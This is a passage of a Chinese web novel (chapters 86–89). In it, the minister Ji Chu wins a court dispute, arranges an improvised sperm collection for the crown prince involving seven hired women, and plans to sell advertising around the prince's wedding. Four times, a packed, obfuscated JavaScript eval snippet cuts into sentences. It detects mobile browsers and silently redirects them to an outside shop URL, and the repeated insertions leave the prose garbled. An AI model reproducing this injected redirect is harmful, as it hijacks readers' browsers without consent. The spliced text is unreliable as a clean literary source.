季褚,目无尊长,狂妄悖逆,蛊惑储君的奸邪小人耳。 说到最后,更是以头呛地,“陛下,那季褚在朝堂之上献阴毒之计,使人往左春大人府中泼粪污门,如今又在东宫辱师乱教,如此阴险狡诈,歹毒无礼之徒,若不重重惩处,何以正朝纲,清教化! 老臣……老臣羞与此等小人为伍,只求一死以证清白,还请陛下成全!” 梁皇手指摩挲着龙椅扶手,神色晦暗不明。 要说左春家昨晚被人丢了大粪,他这个皇帝还是蛮高兴的。 那老东西平日里倚老卖老,动辄便口出狂言,以至于很多时候,搞的他都有点下不来台,得知被人收拾了,梁皇昨晚睡觉都比以往香甜。 站在杨桐的角度,他说季褚几句似乎也没错,毕竟要不是他在朝堂上说出那番阴险毒辣的计策,也不可能打开某些人奇奇怪怪的开关。 但季褚也没错啊……若就因为这点小事,就惩罚一位功臣,未免寒了人心。 何况这才多大点事儿啊,不就是拌了几句嘴,就跟个市井泼妇一般,要死要活,简直有失体统,荒唐至极! 身为东宫少师,气度如此狭小,连一点非议都受不住,连一场争辩都输不起,这般模样,真能教好太子? 梁皇顿时沉默了,大殿之内的气氛压也抑得令人窒息。 杨桐暗暗窃喜,只当是皇帝已然动怒。 恩师这些年为何无人敢惹,季褚又为何出入朝堂便让人谈季色变,杨桐感觉自己这回因祸得福,一朝明悟。 …… 外面。 一处角落里,李康早已急不可耐,一会儿踮脚往大殿方向望,一会儿又焦躁地踱步,额头上都渗出汗珠。 “季少保,杨桐已然进殿告状,为何拦着孤,你当真不怕他颠倒黑白?” 季褚心里叹了口气,这小舅子还是得教啊。 “殿下稍安勿躁,圣人君临天下多年,自然会明察秋毫,杨大人一番哭诉,几分真几分假,圣人心中自有一杆秤。” 李康心里忍不住直翻白眼,你还是不了解父皇。 父皇此人看似明君,实则心思沉着呢。 “话是如此,可杨桐巧言令色,万一父皇偏听偏信……” 季褚笑着摇了摇头,一副高深莫测的模样,“且看着吧!” 其实季褚也是路上才想明白的。 人活蹦乱跳的,所以本身也不是什么大事儿,顶破天,两位臣子意见不合发生了几句口角罢了。 皇帝日理万机,要管天下民生,要定军国大计,黑天白夜闲不住,因为这点小事就去惊扰皇帝,甚至是去御前辩解,真当皇帝老儿每天那么清闲啊? 所以,去当然可以去,但不能主动去,起码得先看看皇帝态度,有召见再去不迟。 毕竟,他要主动去了,肯定就得辩解,万一皇帝不喜吵闹咋整? 相反,杨桐这种动不动就要死要活,主动给领导添麻烦的人,反而犯了职场大忌。 他季褚可是忠君体国,一心为公之人,又怎么会主动给领导找不痛快。 果然。 春暖阁内,沉吟片刻,梁皇终于缓缓开口,“杨桐!” 杨桐心头心头一紧,“臣在!” “方才你言朕已知晓,你说藐视圣贤,曲解论语,该当何罪?” “还请圣人明断,季褚说什么静心凝神是木头打坐,心猿意马才是真学问,简直离经叛道,亵渎孔孟,若不严惩,恐寒天下士子之心啊!” “哦,那朕为何觉得学而不思则罔,思而不学则殆,这句话,恰如季褚所说那般,学问不是枯坐出来的,是想出来,做出来的?” 杨桐一怔,脑门瞬间冒出一层冷汗,“陛下,这……这……话虽如此,可他言辞狂悖,有失恭敬……” “狂悖?”梁皇冷哼一声,“朕只知道,能解决问题的学问,才是真学问。长葛一事,诸位臣公只想着从国库调拨多少钱粮,却从未想过如何解决根本问题。 季褚另辟蹊径,不仅解决了粮食危机,更为百姓解决了生计,为朝廷制定了一番行之有效的大灾治理方案。 不知你口中的圣贤道理,是否能解决如今的农桑困局?” 杨桐的脸刷的一下的失去了血色,张口结舌,“臣,臣……” “再说,是他先动的手,还是你先气晕的?” “陛下,您看看臣的嘴,都肿了……” 梁皇深吸口气,“为何肿了?” “是,是臣气火攻心……” “为何气火攻心?” “他……他与臣争辩……” “好好好,好得很啊。他与你争辩,你便气晕,气晕之后,便来朕这里寻死觅活。东宫少师,气量如此,日后如何辅佐太子坐镇朝堂?” 杨桐浑身发抖,一时竟无言以对。 梁皇失望的摇摇头,语气也带了几分不耐烦,“左春府中之事,是非曲直,朕心中有数,你为恩师鸣不平情有可原。 但你身为太子之师,千不该万不该是这般气量。 不能容人,不能辩理,一遇不顺便哭告君前,小题大做,简直有失大臣体面!” 说着,梁皇对着刘公公道:“宣季褚!” 刘公公出了殿门,直接朝着季褚和太子藏身之处看去,微微一笑,快步上前。 “刘公公。”季褚快步迎了上去。 “老奴见过太子殿下,见过季大人,圣人有请,季大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233382|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人请随我来。” “刘公公,父皇他?” “殿下勿忧。” “有劳公公了。”季褚跟在后面,扫了一眼同样跟上的太子,心里还是有点暖的。 季褚整了整衣冠,身姿挺拔,目光坦荡的迈入春暖阁。 扫了一眼跪在地上瑟瑟发抖的杨桐,立刻行礼,不卑不亢,“臣季褚见过圣人。” “儿臣参见父皇!” “都起来吧。”梁皇点点头,眼神深邃看不出悲喜,“季褚,你好大的胆子,杨桐告你辱师乱教,狂妄无礼,你可有话说?” 李康的心,顿时提到了嗓子眼。 杨桐则死死盯着他,想看看他如何狡辩,毕竟金口未开,尚未给他定罪,就还有机会。 “回圣人,臣与杨少师,并非相辱,只是论学。” 季褚语气平静,只一句便定了基调。 没有争辩,没有指责,更没有哭闹。 而是将一场闹剧,拉回了文臣论道的正道之上。 梁皇深邃的眸子里,略过一丝赞许。 听听,看看,这才是格局啊! 季褚从容道:“杨少师守旧,臣求新。 少师重静,臣重行。 臣以为,圣贤之书,是用来治世,利民,修身的,不是用来枯坐,空谈,束缚人心。 臣与少师争辩,是为学问,非为私仇。少师他装……他一时气急晕厥,臣情急之下掐人中施救,也绝无恶意。 事后少师心有不忿,臣亦理解。” 杨桐:…… 你特么突然改口几个意思。 然而,这还没完,就见季褚朝他躬身行礼,一脸诚恳道:“杨大人,今日之事都怪本官年轻气盛,言语过激,老大人是前辈,还望多多海涵。” 此言一出,现场众人无不倒吸一口凉气。 **不过头点地,你丫季褚竟然还要诛心…… 偏偏,他先认错,再讲理,气度尽显。 有毛病吗? 有! 但挑不出来啊! 硬挑,那不成了鸡蛋里面挑骨头。 梁皇心里,李清瑶的含金量又上升了一大截。 他属实没有心力继续耗下去,“此事,朕已知晓。本就是文臣论学,口角之争,小事耳。” 说着,话锋一转,“杨桐,身为少师,气度不足,涵养不够,罚俸三月,闭门思过一月,好生研习心性。 季褚……” 梁皇顿了顿,目光落在了季褚身上,带着几分深意,“虽论学心切,但言辞过激,然,本心为公,不予责罚。 日后辅佐太子,依旧要尽心竭力,知无不言。” “臣,遵旨!”季褚叩首,依旧稳得一笔。 再看杨桐早已僵在原地,面如死灰。 他不由看向了季褚,季褚起身也正好看向了对方,嘴角勾起了一抹微不可查的弧度。 其实完全可以把领导看成家里那个事儿多的媳妇,两口子打架,那是讲理的问题吗? 真正的精髓在于如何不给对方添堵。 嘴甜,会哄,凡事以媳妇的意志为主,她就是想找你吵架,都没理由…… 这和舔狗行为还不一样,毕竟现在娶媳妇太贵,找个好工作也不容易。 且行且珍惜,你就学罢! 打发走碍眼的杨桐,梁皇独独留下太子和季褚。 殿内气氛,瞬间沉了几分。 梁皇居高临下,目光落在季褚身上,忽然开口,声音不高,却带着帝王威压,“季褚。” “臣在。” “你可知罪!” 季褚忍不住一阵无语,这,果然很皇帝! 第86章 七位仙子,来大活儿了 “臣知罪。” 季褚赶紧端正态度,这一声答得干脆,反倒让梁皇来了兴趣,眸中泛起了一抹审视与玩味,“哦?你倒说说,你罪在何处?” “回陛下,臣之罪,有三。” 梁皇眉梢微挑,示意他继续说,眼底的玩味更甚。 太子李康攥紧了衣袖,暗自替他捏了把汗,方才父皇明明赦了他,怎会突然又问罪? 季褚不慌不忙,开口说道:“其一,罪在言辞无状,失了臣子分寸。杨大人乃是东宫少师,年长于臣,即便臣与他论学意见相左,也不该言辞过激,语气狂悖,与长者争执,失了敬老之礼,也乱了讲堂规矩,此为臣之第一罪。” “其二,罪在行事鲁莽,惊扰圣驾安宁。臣与杨大人不过是论学口角,本是东宫内部小事,大可私下商议化解,却因臣处事不周,引得杨大人哭告御前,耽误陛下处理农桑要务,耗费陛下心神,给陛下添堵,此为臣之第二罪。” “其三,罪在思虑不周全,险些连累太子。臣明知杨大人是左大人爱徒,却仍与他当庭争执,引得他迁怒太子,污蔑太子被臣蛊惑。虽太子明辨是非,却也让陛下忧心储君教化之事,臣未能周全顾及太子声誉,未能替陛下分忧解劳,此为臣之第三罪。” 话音落下,春暖阁内一片寂静。 梁皇盯着他看了许久,眸中的审视与玩味渐渐褪去,取而代之的是深深的赞许与欣慰,“你倒是通透,既然你能看清自身不足,懂分寸,明事理,往后更需谨记今日自省之言,莫要再犯!” “臣谨遵圣人教诲!”季褚恭敬行礼。 梁皇微微颔首,“都退下吧,太子好生学习。” 二人出了春暖阁,李康心里别提有多得劲了,“爱卿三言两语便令那腐儒颜面扫地,孤心甚慰,果然没有看错你。” 季褚瞄了太子一眼,这小子,价值观歪了啊! 老杨虽然是腐儒,但同样也是你老师。 尤其是自己接下来所行之事,百分之百会在太子心里留下一根刺。 如今,自己也是太子老师之一,这么好的身份必须利用起来。 让太子叫爸爸不现实,但正确的价值观必须得给他树立起来。 “殿下,臣虽与杨少师争辩,心中却知师严,然后道尊。 臣争的是学问,非是不敬师长。” 眼瞅着季褚突然变得严肃起来,李康也是猛然惊醒,“学生受教了。” 季褚满意的点点头,立马又抛出一颗甜枣,“尚有六日便是殿下大婚之日,这几日可以放松放松,便随臣出宫去公主府一趟。” 这话一出,李康虽然没有一听放假就一蹦老高,但眼底的喜色依旧快要溢出来了,“可是皇姐有事找我?” “你皇姐去庄子还有大事要忙!” “什么大事?” “她要偷偷努力,然后惊艳所有人,当然,这都不重要。”季褚突然压低声音,“接下来殿下的大婚事宜,将由臣一力操办,有些事关乎大局,需要殿下完全信任,完全配合,不知殿下是否完全信任臣?” 李康眼皮一跳,瞬间想到了什么,“爱卿都知道了?” “殿下,纸包不住火。” “可有把握?” “只要殿下信任,万无一失。” “那你打算如何做?” “这里不是说话的地方,且先随臣前往公主府。” 李康不疑有他,立刻跟着季褚回到了公主府。 如今公主和驸马已经和离,那座小院自然空了下来,季褚把人带到小院,便命人将小院彻底隔离起来,确定这里面发生的任何事都不会被人探查到。 然后,季褚拿出了自制的母猪配种工具。 李康一脸茫然,“这是何物?” “自然是帮殿下解忧的神器,届时只需,这般这般然后这般……殿下龙嗣绵延,便再不是难题。” 话音一落,屋内瞬间陷入一片诡异的寂静。 李康愕然盯着季褚,心脏那叫一个怦怦狂跳。 若真能成,那岂不是说……以后他想生几个,就能生几个? 此刻,他真想砍开季褚的脑袋,看看里面到底装的什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233383|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 如此奇思妙想,绝了啊! “当真……管用?” “先前已让母猪顺利怀孕,这都不重要,重要的是**同理,只要顺利取出龙精,便可万事大吉。” 李康喉结滚动,“如何取?” “臣已为殿下备下七位仙女,个个身怀一技之长,保管让殿下舒舒服服,便把大事办了,要不,今日便试试?” 李康脸颊涨红,这季褚果然七窍玲珑。 先前在宫里,他也不过是偷偷找个宫女,如今季褚一口气给他找了七个,而且看那架势……似乎七个一同上阵…… 不过,身为储君他还是很矜持,清了清嗓子,“罢了,既是为了皇家子嗣绵延,稳固国本,孤便……勉为其难,荒唐一次吧。 你且将人唤来。” 季褚暗暗撇嘴,脸上却是一副大义凛然,“殿下心系大梁传承,以国祚为重,不恋私情,不图安逸,如此胸襟与担当,实乃天下之福,社稷之幸! 殿下稍后,我这便让人过来。” 说完,季褚快步出屋。 昨日他一番交流,觉得个个都是人才,便让姬坤包了七仙女的场,这会儿姬坤早就把人安排在了小院厢房之中。 推开房门,季褚立马拍了拍手,“七位仙子,来大活儿了……” …… 一炷香后。 小紫拿着工具走出房间交给了季褚。 看完以后,季褚彻底沉默了。 “就这点?” “大人,我们已经使尽了浑身解数,但这位贵人……就这么点,是真没了,一滴不剩。” 季褚眉头紧锁,毕竟针管也是有长度的,就这一点,怕是针管都推不出啊! 就在这时,大门打开,几位姑娘欲求不满的走了出来。 而李康的声音也从里面传来,“季少……你来。” 这话一出,那一道道本来含着秋水的目光,突然变得古怪起来。 季褚面皮一抽,“你们先回去。” 说完,匆匆进了房间,顺便把门关好。 第87章 成立太子大婚招商办 房间里。 看着倒在帷幔里累的虚弱无力的小舅子,季褚愁啊! 有那么一瞬间,他甚至想把邪修**传给对方,让老弟试试,万一成了呢? 但也只是那么一瞬,他便打消了这个念头。 好比给手机充电,甭管啥协议,多块的充电速度,但你头坏了,也插不进去啊! 就在季褚不知如何开口,就听李康有气无力道:“爱卿,你可是害苦了孤啊!” 季褚:…… 这话为何如此耳熟。 “殿下,一切皆是为了大梁江山传承,国祚绵长,忍一时辛劳,换后世安稳,这般舍己为国,心怀天下,实为千古储君之典范!” “爱卿说的对。”李康清了下嗓子,“不知孤的那些龙精,可供几名女子怀孕?” 季褚面皮一抽,好家伙,一个都难,他竟然还想一口气生好几个,谁给他这么大的勇气。 当然,想能这样想,话却不能这样说,“依臣之见,当先让太子妃顺利怀上嫡子,稳住国本,安朝野之心,其余之事,再从长计议不迟。” “爱卿所言极是。”李康道:“孤有些乏了,便在此处歇息,爱卿若有其他事情大可去忙。” 季褚也正有此意,毕竟还有六天就是太子大婚,最关键的一步走完了,他可没空浪费,立马告辞去了公主府值房。 季褚几次出手,早就令府内管事心服口服。 一听有召,不多时,姬坤,以及另外四名没随公主去庄子上的忠心管事,便陆陆续续赶了过来。 “不知大人召集吾等所谓何事?” 季褚一脸严肃,双手拄着桌子,一一扫过众人,“尔等都是吾公主府最亲信之人,今日召尔等前来,就两个字,搞钱。” 众人一听,眼睛瞬间亮得吓人,一个个支棱起耳朵,生怕漏了一个字。 搞钱好啊,他们最喜欢搞钱了,毕竟一旦成功就有赏赐,那可都是能见光的小钱钱。 “从现在起,成立“太子大婚招商办”,我为办公室主任,姬坤为副,其他诸位依令行事。” 听到这,众人眼中由精光乍现顿时变陈了呆若木鸡。 那一双双清澈且愚蠢的眼神,像极了刚出校园的学生。 赵管事立马举手,“大人,太子大婚咱们公主府只出钱,其余一切不是皆由礼部操持吗?吾等也没这方面的经验啊!” 姬坤闻言立刻举手,得到季褚的示意后,这才开口说道:“赵管事,此言差矣。 首先礼仪这一块,都是老规矩,而且距离太子殿下大婚只剩下六日,礼部那边肯定早就操持好了一切,完全用不到吾等操心。 大人所言招商二字才是关键。 我猜大人是想复制长葛当日的盛况。” 季褚满意的点点头,有个聪明的手下就是省心,“姬管事说的没错,咱们这次就是要借着太子大婚这阵东风,名正言顺、体面风光,把该赚的银子,一笔一笔,稳稳当当赚回府。 先前我问过公主殿下,前前后后我公主府已经投资了八十多万两。 所以我先给大家定个小目标,至少要赚回八百八十八万两才不算亏,上不封顶。” 话音刚落,屋内便响起一片整齐划一的倒吸凉气声。 别说五个管事,就连姬坤都难以置信的吓了一跳。 但紧接着,便是不可抑制的狂喜。 因为不知从什么时候开始,季大人办事儿,好像就没不成这一说。 赏赐多少倒是其次,最重要的是实现了自己的人生价值啊。 历朝历代,类似这样的宫廷盛典都是往里面烧钱,可自他们之后,赚钱了。这是啥,这是开了历史先河啊,是名垂青史啊! 退休后完全可以跟后辈儿孙吹一句,想当年你爷我和季大人…… “太子大婚,乃是大梁头等喜事,朝野上下,无论是王公贵族,文武百官,还是富商巨贾,谁不想借着这个机会攀附皇家露露脸面?只要找对路子,他们有的是银子愿意花。 而咱们招商办就是这个路子。 长葛文艺汇演已经不是秘密,我们就以此为基础,换个法子,太子大婚所有环节咱们都能拿来“招商”。 我先给大家打个样,比如当日的合卺酒,杯子用的自然是皇室器皿,但里面的酒完全可以拿来做文章。 你想想,你家的酒成为太子大婚当日喝的酒,少了十万两,说得过去吗?” 众人面皮一抽,好么,这都不是小刀割屁股了,你季大人直接拿了一把大刀从头割到尾,开了个大的。 姬坤率先举手发言,“主任,迎亲路上两侧,可挂满喜庆旌旗,既是装点仪仗,添大婚气象,又能在旌旗上书写各商号广告,这般一来,既美观喜庆衬得皇家气派,又能多添一笔进项,一举多得!” 季褚满眼赞许地看向姬坤,“姬副主任果然聪慧过人心思活络,本官没看错你,这一项起码能赚三百万。” “大人说笑了,小的也不过是拾了大人牙慧。”姬坤谦逊笑笑,“除此之外,当晚不宵禁,灯笼也可以进行招商。” “大人,不知御车所到之处撒的果子点心可否进行招商?” “自然可以,不过是在包装油纸上写上广告,这完全可以当成一大项来招商,不要定一家,分成五份,哪家冠名费高,哪家点心占比就多。没有五十万,别想进来,五家均摊便是两百五十万进账。” “大人,那日沿途围观御驾的百姓,可否也让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233384|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举旗道贺?” 季褚:…… 莫名的,脑子里想到了一个可怕的画面,这是要把太子大婚玩成闹市**,呸,这分明是与民同乐。 不过,似乎,好像……自己又能收润笔费了。 他沉吟片刻,眼中精光一闪,已有了稳妥计较,“不是不行,只是杂乱无章既失体面,又损皇家威仪。本官倒有个更妥当的法子。 以十里红妆为序,沿路分段布置,百姓所持旌旗统一规格,统一颜色,一段一色,赤橙黄绿青蓝紫次第排开。 远观如彩虹铺地,近看则整齐壮观,既显喜庆,又不失体面。 至于口号,也不必百姓随口乱喊。 咱们与商家议定统一贺词,提前派人选几处热闹地段稍加演练,只教几句规整吉祥的祝福语。御驾经过之时,万众齐呼,声震十里,既热闹又庄重。 具体细节交由专人与商家对接,演练务必到位,一字一句,不可出半分差错。 不过要是单纯的呐喊恭贺,过去也就过去了,磋商时问问他们,愿不愿意请专业人士设计一套咏流传的广告词。 也不贵,就按照一个小镇五十万两算吧,包含广告设计费十万两。” 十里路,起码也得设置十来个喊口号的方阵吧? 那就是一百万两私房钱,简直美滋滋。 “主任英明,如此一来,外人只当是太子仁厚,民心所向,谁也看不出是咱们巧设的生财之道。” 姬坤一脸恭维,心道还得是季大人,昨日刚刚批判完七仙女,今天想到了这等稳妥办法。 尤其是主任一词,暗合主人之意……莫非…… 姬坤突然就想明白了什么,只一瞬,那双眼更加热切起来。 “大人,可否通过冠名,赏赐一些观礼位置,能在现场露脸,我相信那些富商巨贾肯定愿意。” “善,这是与民同乐的典范,完全可行。” “大人……” 时间匆匆流逝,不知不觉已经到了中午用膳时间,大家各抒己见,一个二个全都口干舌燥。 再看这一套流程下来能赚到的数字,竟然高达一千七百多万两,这还只是保守数字,毕竟好多关键位置需要竞拍,最终收回来的银子,起码还得再增三成。 几百万两,不见得会有人眼红,可将近两千万,这钱就多的有点烫手了。 季褚将活儿安排下去,立刻提笔研磨写了个奏章,然后招呼人打马出府去了公主府城外的庄子。 结果一到,就瞧见李清瑶正头戴面巾,带着几个婢女侍卫手持工具站在地头,周围还聚拢了不少跟着一起帮忙的农户。 一首“中午下地去拾粪,定睛一看是我的女人”差点没当场飙出来。 第88章 糟糕,来的不是时候 “你怎得来了此地,可是出了大事?”李清瑶一脸惊讶。 “见过殿下!”季褚翻身下马,说实话,让她来沤肥,心里还怪心疼的。 “免礼,此处不是说话的地方,去那边棚子说吧。”说完,李清瑶带着人走向了不远处临时搭建的草棚,“五十步外戒备,我与季大人有事密谈。” 见人全都离开,季褚赶紧把自己写好好折子交给对方,“太子大婚之日越来越近,先前的投入不能白花,清瑶,咱家的钱可不是大风刮来了,所以我想了个法子,既能转亏为盈,又能令这场盛典名动天下!” “就你鬼点子多。”李清瑶娇嗔的白了季褚一眼,接过折子,逐字细看。 起初尚是平静,越看眸色越惊,到最后竟久久沉默,指尖微微收紧。 她震惊于季褚的手段,储君大婚那是何等庄严盛大,季褚居然从中发现了商机。 把礼仪,仪仗,街巷,民心,全都化作滚滚财源。 但她更心惊季褚的胆大。 士农工商,商居末流,历来大典唯礼是从,谁敢将婚事与商贾挂钩?稍有不慎,便是亵渎皇家,非议不断。 但一句与民同乐,又将事情办的正大光明,挑不出半分错处。 良久,李清瑶才抬眸,眸中波光微动,“你这心思太大,手段也太奇太险。 此事无前例可循,干系重大,我不能擅自做主,需入宫面奏父皇,请他圣裁!” “我也正有此意,所以上面只写了一千万两,实际估算高达将近两千万,就是不知将来事发,殿下是否抗得住?如果扛不住,咱们就再加点?” “一千万两已是空前,足够打动父皇。你先面圣上奏,其余之事,不必你担惊。”李清瑶合上折子,看着季褚,目光又柔了几分,声音轻而有力,“放心,一切有我。” 季褚笑着握住了对方小手,“你我夫妻同心,何愁大事不成!” 李清瑶面纱下的脸颊瞬间泛起一抹浅淡的绯红,像染了胭脂的桃花,慌乱把手抽回,下意识扫了一眼周围,眼底闪过一丝嗔怪,“切勿如此孟浪,人多眼杂,若是被人瞧去,小心父皇砍了你的脑袋!” “都是自己人,谁敢传闲话!” “哼,不理你了,你且自便,我还有事要忙。”说完,李清瑶像是受精的兔子,落荒而逃。 季褚会心一笑,走到栓马的地方,翻身上马,“回城!” …… 春暖阁。 季褚一来进来,就暗骂一句来的不是时候。 梁皇端**一脸阴沉,下方各部天官,几位皇子也都沉默不言,一看气氛就不对劲。 季褚恭敬行礼,“臣季褚,见过圣人。” 梁皇阴沉着脸,“爱卿所谓何事?” “关于太子大婚,臣有一些不成熟的建议,恭请圣人御览。臣初担大任,见识浅薄,思虑不周,还望圣人指点臣愚陋之处。”季褚恭恭敬敬把折子举了起来。 一听是这种小事,梁皇眉头皱的更紧了,语气也多了几分不耐烦,“呈上来!” 三皇子嘴角浮起一抹讥讽,“如今朝野上下,皆在为百姓生计,农桑之事,日夜忧心。季大人倒好,身为户部侍郎放着国计民生不顾,反倒一门心思扑在太子大婚的琐事上,还特意因为一点小事就贸然求见,叨扰圣驾,耽误父皇处理军国要务。 本王倒想问问季大人,你到底是公主府养的狗,还是我大梁朝的臣?” 刘公公把头一低,迈着碎步快步上前,接过折子拿到了御案前面。 季褚缓缓抬头,斜睨的了三皇子李智一眼,淡淡道:“殿下,于臣而言,百姓生计是国事,太子安稳,皇家体面,朝野安定,同样是国事。 并无大小之分,更无轻重之别。 臣所作所为,上为圣人分忧,下为朝廷稳固,事事光明磊落,自然是大梁之臣,难道公主不是我大梁的公主? 倒是殿下,圣人尚未开口,殿下便先急着替圣驾定是非、判轻重,是不是……太过操心了!” 梁皇面色一沉,当即沉声呵斥,打断二人争执,“够了,大殿之上,朝堂威仪所在,吵吵闹闹成何体统!” 他目光扫过李智,语气带着明显不悦,“朕还在此处,是非轻重,自有朕来论断,何时轮到你来置喙?” “是父皇,儿臣知错了。”李智赶忙躬身认错。 梁皇轻哼一声,随后又看向季褚,“既然季卿也来了,那便参与一下稍后的议事,免礼,赐座!” “谢主隆恩!” “季大人,这边……”刘公公迎着季褚走到了角落。 “有劳公公!” 季褚瞧见大家只做了半边屁股,他才懒得管那些,直接大剌剌的坐了一个屁股上去,端起茶水吸溜吸溜喝了起来,看的几位部堂大佬直摇头。 梁皇看了季褚一眼,微不可查的摇了下头,终究还是太年轻啊。 太子大婚礼仪皆是祖制死规,礼部早已妥帖筹备,梁皇还以为季褚在晚宴排布,宾客安置上有几分顾虑不敢擅专。 结果打开折子一看……然后就看进去了。 原本的漫不经心变成了凝重! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238660|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着,紧绷的下颌线渐渐松弛,紧抿的唇也微微张开……取而代之的是难以置信的震惊。 条理分明的布谋,精准细致的预估,看的梁皇嘴角止不住抽搐。 这这这……一场婚礼,还能有这么多花里胡哨? 最重要的是钱,大梁现在什么都不缺,就是缺钱! 嗯,与民同庆,添盛典气象,收万民之心……这个理由找的好啊! 哪里是年轻人尚需磨砺,保持这个势头就很好,他要的就是思维活跃的年轻肱骨。 梁皇目光最后停留在了那预估千万两的数字上,眼角的细纹都渐渐舒展开了,啪的一下合上了折子,笑容里带着几分赞赏,“心思缜密、远见卓识,既为太子大婚添彩,又为朝廷解了燃眉之急,实乃良策!朕准了!此事便全权交由你负责,就按照你折子上所言,放手去办,朕信你!” 季褚:…… 不高兴叫人家季卿,一高兴叫人家爱卿,好一个一脉相承。 “圣人信任,臣定当肝脑涂地,尽心竭力,不负圣望!” “爱卿免礼!” 梁皇点点头,随即看向了大司农**,“韩爱卿,你再仔细想想,当真无法挽救,只有远赴列国购粮这一条路子可走?” **起身,垂手而立,神色间满是愧疚与无奈,“回圣人,老臣无能,上报之前便已查遍农桑典籍,也征询过经验丰富的老农,反复的查验,下季粮食减产已经成定数。 为保国朝稳定,不至生出**,怕……怕是只有这一条路子可走了。” 季褚刚送了一千万两,倒是可解燃眉之急,可其他列国也不是吃素的,一旦让他们察觉大梁粮荒,有可乘之机,必定会联手抬价扼制,甚至借机生事。 一个不慎,便会引来列国群起觊觎,届时腹背受敌,情况只会更糟。 一时间,大殿里的气氛再次凝到了冰点。 户部尚书崔亮开口说道:“圣人,长葛粮事皆是季大人一手操办,经验最足,手段最灵。依臣之见,一事不烦二主,此番购粮大事,不如全权交由季大人处置!” 季褚闻言,顿时窝了一把大草。 就见崔亮朝他露出一抹和善微笑,而后继续说道:“先前季大人在长葛,以奇策稳粮市,慑商贾,成效有目共睹。臣以为,可沿用旧法,派人前往边境,先哄抬粮价,引诱列国粮商蜂拥而至,再一举收拢,为我大梁所用。” 梁皇颔首,朝着季褚投来一道期许的目光,“季爱卿,你怎么看?” 我坐着看,站着看,反正不会躺棺材里看…… 第89章 季褚,你这是诚心扎朕的眼啊 季褚心里骂骂咧咧,可面却不敢有半分显露,“圣人,臣以为万万不可!” 开啥国际玩笑,人家列国又不是傻子。 他在长葛敢搞封锁,商人有气也得认,为啥,实力不对等呀! 可他在边境搞这些,人家绝对敢拿刀和他比划比划,一旦因他生乱,第一个拿他祭旗。 娘希匹,糟老头子,简直坏的一笔。 “哦,为何?” 季褚深吸了口气,“长葛之地,乃我大梁境内,臣以官面震慑商贾,但理由充分,他们纵有不甘,也只能俯首听命。 可边境之外,是列国疆土,他们可不是寻常商户,而是手握兵甲的诸国。 若臣在边境抬价诱商,一旦败露,列国必会视我大梁挑衅失信,轻则联手抬价卡死命脉,重则直接引起兵事。 到时候,粮未购成,祸乱先起,臣万死难辞其咎。 此策在长葛是妙计,在边境,却是取祸之道,臣不敢用,也不能用。” 此言一出,崔亮面色微变,立马禁声。 他不是没考虑到这一点,只是盘算,等季褚把人马钱粮铺下去,再让三皇子面圣揭发,当场叫停计划。到时候耗费巨大却一事无成,还险些酿成国祸,梁皇必然震怒,正好一举除掉季褚这个祸害。 但没想到竟然被他一眼识破。 梁皇心头一沉,目光如刃,冷厉扫过下方众臣,“朕平日视尔等为大梁柱石,厚禄重权相待,如今齐聚一堂,尔等却连一条可行之策都拿不出来,你们对得起朕的托付吗?” “臣等万死!” “圣人息怒!” 众臣吓得魂飞魄散,纷纷匍匐跪地,黑压压跪了一地,季褚端着茶坐在那,整个人都呆麻了。 李智朗声道:“父皇,如今国难当头,京中勋贵,世家富商深受皇恩,当应积极响应。儿臣愿意登门劝募,向世家大族借粮渡关,许以日后加倍偿还,赐爵褒奖。只要皇室出面,不愁无人响应!” 崔亮垂首附和,“如今朝廷缺钱缺粮,而京中勋贵,世家富商,历年积累,囤积钱粮无数,臣认为三殿下心系社稷,此计可行! 只要圣人肯以利相诱,重赏之下,必有愿为朝廷出力之人。” 梁皇的脸一阵青一阵白,可谓是难看到了极点。 三小子傻,但你崔亮精啊! 他如何听不出崔亮话里的含义,让世家勋贵出钱出粮,这哪里是为国分忧,分明是趁国难当头,狮子大开口,要官、要爵、要特权,借机蚕食朝廷根基! 